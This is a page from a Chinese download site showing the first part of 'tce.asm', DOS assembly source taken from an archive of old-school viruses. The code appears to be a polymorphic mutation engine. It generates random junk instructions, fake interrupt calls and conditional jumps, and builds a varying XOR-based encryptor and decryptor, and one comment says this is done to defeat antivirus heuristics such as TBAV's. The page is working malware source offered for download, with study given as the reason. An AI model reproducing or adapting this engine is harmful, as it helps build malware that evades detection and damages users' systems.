⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tce.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
        mov     al,29
        call    binary
        if z    mov al,31
        stosw
        call    pad_10
        pop     bx
        call    get_rand_2
        add     ax,offset value_from_0
        xchg    si,ax
        lodsb
        call    binary
        jz      zero_then_sub

        or      al,bl
        mov     ah,81
        xchg    ah,al
        stosw
        pop     ax

put_mov_b:
        cmp    B index_set,01
        if e   mov W index_loc,di
        stosw
        ret

zero_then_sub:
        cmp     B index_set,01
        if e    mov     B index_sub,1
        mov     al,0e8
        or      al,bl
        mov     ah,81
        xchg    ah,al
        stosw
        pop     ax
        neg     ax
        jmp     short put_mov_b

pad_8:  push    ax              ;Sub Procedure to Pad Between 1 and 8 bytes
        call    get_rand_7
        inc     ax
        jmp     short padder

pad_10: push    ax
        call    get_rand_1f     ;Sub Procedure to Pad Between 8 and 16 bytes
        or      al,8
padder: xchg    cx,ax
        call    more_junk
        pop     ax
        ret


more_junk:
        mov     al,03
        call    get_rand_b
        jnz     mj0

        mov     B [offset code_jmp],083 ;Re-Enable Jumps
        mov     ax,cx                   ;else normal filler junk (1 in 16)
        cmp     ax,40
        if a    mov al,40
        call    get_rand_b
        xchg    bx,ax
        call    fill_jnk
        jmp     short mj2

mj0:                                    ;8 in 16 chance of some type of jump
        call    code_jmp


mj2:    jcxz    ret
        jmp     short more_junk


one_byte:                       ;GENERATES A ONE BYTE JUNK INSTRUCTION
        jcxz    ret
        mov     si,one_byters   ;FROM one_byters TABLE
        mov     al,length_1
        call    get_rand_b
        add     si,ax
        movsb
        dec     cx
        dec     bx
        ret

reg_op: call    get_rand_7      ;ANY OP unused_reg16,reg16..
        sal     al,3
        or      al,3
        xchg    dx,ax
        call    get_unused_reg
        sal     al,3
        mov     dh,al
        call    get_rand_7
do_op:  or      dh,al
        or      dh,0c0
        xchg    dx,ax
put_2:  cmp     bx,2
        jb      one_byte
        stosw
        dec     cx,2
        dec     bx,2
        ret


lea_reg:call    get_rand_7      ;LEA unused_reg,[BP/BX/SI/DI]
        cmp     al,6
        je      lea_reg

        xchg    dx,ax
        call    get_unused_reg
        sal     al,3
        or      al,dl
        mov     ah,08d
        xchg    ah,al

        jmp     short put_2

op_ax:  call    get_any_rand
        and     al,8
        or      al,5
        and     ah,3
        shr     ah,4
        or      al,ah

put_3:  cmp     bx,3
        jb      reg_op
        stosb
        call    get_any_rand
put_3b: stosw
        sub     cx,3
        sub     bx,3
        ret

mov_reg:call    get_unused_reg  ;MOV unused_reg16,xxxx
        or      al,0b8
        jmp     short put_3


op_reg_im:                      ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
        cmp     bx,4
        jb      op_ax
        call    get_unused_reg
        mov     ah,81
        xchg    dx,ax
        call    get_rand_7
        sal     al,3
        or      ax,dx
        xchg    ah,al
        or      ah,0c0
        stosw
        call    get_any_rand
        stosw
        sub     bx,4
        sub     cx,4
        ret


code_jmp:
        cmp     cx,3
        jb      ret

        mov     B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
                                        ;(TBAV-J) and helps stops heuristics
        call    get_any_rand            ;else conditional jmp
        and     ax,1f0f                 ;between 4 and 43 bytse jmp length
        add     ah,4
        or      al,70                   ;conditional jmp instructions are 70
                                        ;--> 7f
        push    ax
        call    get_rand_1f
        pop     ax
        if z    mov al,0e3
        xor     bx,bx
        mov     bl,ah

        dec     cx,2
        cmp     bx,cx
        jb      put_jmp
        mov     bx,cx
        mov     ah,bl

put_jmp:stosw

fill_jnk:
        or      bx,bx
        jz      ret

        mov     al,((offset binary - offset junk_tbl)/2)-1
        call    get_rand_b
        add     ax,ax
        add     ax,offset junk_tbl
        xchg    si,ax
        lodsw
        call    ax
        jmp     short fill_jnk


pp_reg:                  ;generate PUSH reg / junk / POP reg
        cmp     bx,3
        jb      gen_int

        lea     ax,[bx-2]
        shr     ax,1
        call    get_rand
        xchg    ax,dx
        call    get_rand_7
        or      al,50
        stosb
        dec     cx
        dec     bx
        push    ax
        xchg    dx,ax
        sub     bx,ax
        push    bx
        xchg    bx,ax
        call    fill_jnk
        pop     bx
        pop     ax

        call    binary
        jz      use_same
        call    get_unused_reg
        or      al,50

use_same:
        or      al,8
        stosb
        dec     cx
        dec     bx
        ret


gen_int:cmp     bx,4
        jb      ret

        call    get_rand_2

        add     ax,ax
        add     ax,offset int_tbl
        xchg    si,ax
        lodsw
        mov     dx,0cdb4
        xchg    al,dl
        stosw
        xchg    dx,ax
        xchg    ah,al
        stosw
        sub     cx,4
        sub     bx,4
        ret

junk_tbl:       dw      offset  op_reg_im
                dw      offset  op_reg_im
                dw      offset  op_reg_im
                dw      offset  gen_int
                dw      offset  gen_int
                dw      offset  pp_reg
                dw      offset  pp_reg
                dw      offset  reg_op
                dw      offset  reg_op
                dw      offset  lea_reg
                dw      offset  lea_reg
                dw      offset  mov_reg
                dw      offset  op_ax
                dw      offset  one_byte

binary: push    ax
        mov     al,1
        call    get_rand_b
        pop     ax
        ret

get_rand_2:
        mov     al,2
        db      0a9

get_rand_7:
        mov     al,7
        db      0a9

get_rand_1f:
        mov     al,1f
        db      0a9

get_any_rand:                   ;return rnd number in AX between 0 and FFFE
        mov     al,0fe

get_rand_b:
        cbw

get_rand:                       ;returns random number in AX between 0 and AX
        push    cx,dx
        inc     ax
        push    ax
        in      ax,40
        xchg    cx,ax
        in      ax,40
        rol     ax,cl
        xchg    cx,ax
        in      ax,40
        xor     ax,cx
        adc     ax,1234
        org     $-2
last_rand       dw      0AAAA
        mov     last_rand,ax
        pop     cx
        xor     dx,dx
        cmp     cx,1
        adc     cx,0
        div     cx
        xchg    dx,ax
        or      ax,ax
        pop     dx,cx
        ret

one_byters:     cmc                     ;15 1 byte junk instructions
                cld
                std
                in      ax,dx
                in      al,dx
                lahf
                cbw
                nop
                aaa
                aas
                daa
                das
                inc     ax
                dec     ax
                xlat


int_tbl:        dw      0116    ;AH=01,INT16: Check Keyboard Buffer..
                dw      0216    ;AH=02,INT16: Get Keyboard States..
                dw      4d21    ;AH=4D,INT21: Get Program Terminate Status..
                dw      4d21    ;AH=4D,INT21: Get Program Terminate Status..
                dw      0d10    ;AH=0D,INT10: Get Video Info..
                dw      0b21    ;AH=0B,INT21: Check Keyboard Buffer..
                dw      002a
                dw      002a


clear_regs:     cwd
                mov     B index_reg,dl      ;Clears Register Tables
                mov     B key_reg,dl        ;(All Regs Free)..
                mov     B count_reg,dl
                ret

get_unused_reg: call    get_rand_7      ;Return an Unused Register..
                test    al,NOT tce_SP   ;But _NOT_ SP, or AX.
                jz      get_unused_reg
                cmp     al,index_reg
                je      get_unused_reg
                cmp     al,count_reg
                je      get_unused_reg
                cmp     al,B key_reg
                je      get_unused_reg
                ret


;**********************************************
;* The Encryptor (Built along with Decryptor) *
;**********************************************
encryptor:      mov     cx,1234
                org     $-2
enc_length      dw      0

                mov     bx,1234
                org     $-2
enc_index       dw      0

                mov     ax,1234
                org     $-2
enc_key         dw      0

enc_cf:         nop
enc_loop:       xor     [bx],ax

enc_mod_op      dw      0
enc_mod_val     dw      0

                inc     bx,2
                loop    enc_cf
                ret

;****************************
;* Data / Variables / Flags *
;****************************

init_1  dw      offset init_count
init_2  dw      offset init_key
init_3  dw      offset init_index

init_4  dw      offset inc_index
init_5  dw      offset modify_key

;* The Below is A table of Values to Be Used To Choose *
;* The Count Register, The Index Register, and The Reg *
;* to   save  SP   in   During   the  Decryptor   Loop *
;                             BX   BP SI DI     ;This Table is used To Build
index_tab_b:    db      0,0,0,47,0,46,44,45     ;The Decryptor Instruction
index_tab_c:    db      0,0,0,7,0,0,4,5         ;Same As Above
;                       SBB ADC XOR XOR ADD SUB
enc_table:      db      19, 11, 31, 31, 01, 29  ;The Decryptor Opcodes..

;                       AND OR TEST
zero_test_a:    db      21, 09,85

;                       SUB                     ;Opcodes to Modify the Key
modify_table:   db      0e8                     ;Register
;                       ADD XOR OR              ;Opcode to get A value
value_from_0:   db      0c0,0f0,0c8             ;from 0.

loop_start      dw      0       ;Postion for LOOP to Jump to..

index_num       dw      0
index_off       db      0       ;OFFSET of INDEX reference (i.e: [SI+XX]).
index_loc       dw      0       ;location in ES of index reference set
index_sub       db      0       ;Was index_reg set using 0 the sub -value?

index_reg       db      0       ;Table of Used Registers..
count_reg       db      0       ;used in GET_UNUSED_REG
key_reg         db      0
index_set       db      0

tce_flags       dw      0       ;Engines Flags
tce_delta       dw      0       ;Delta Offset
tce_begin       dw      0       ;Beginning
c_length        dw      0
end_tce:

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -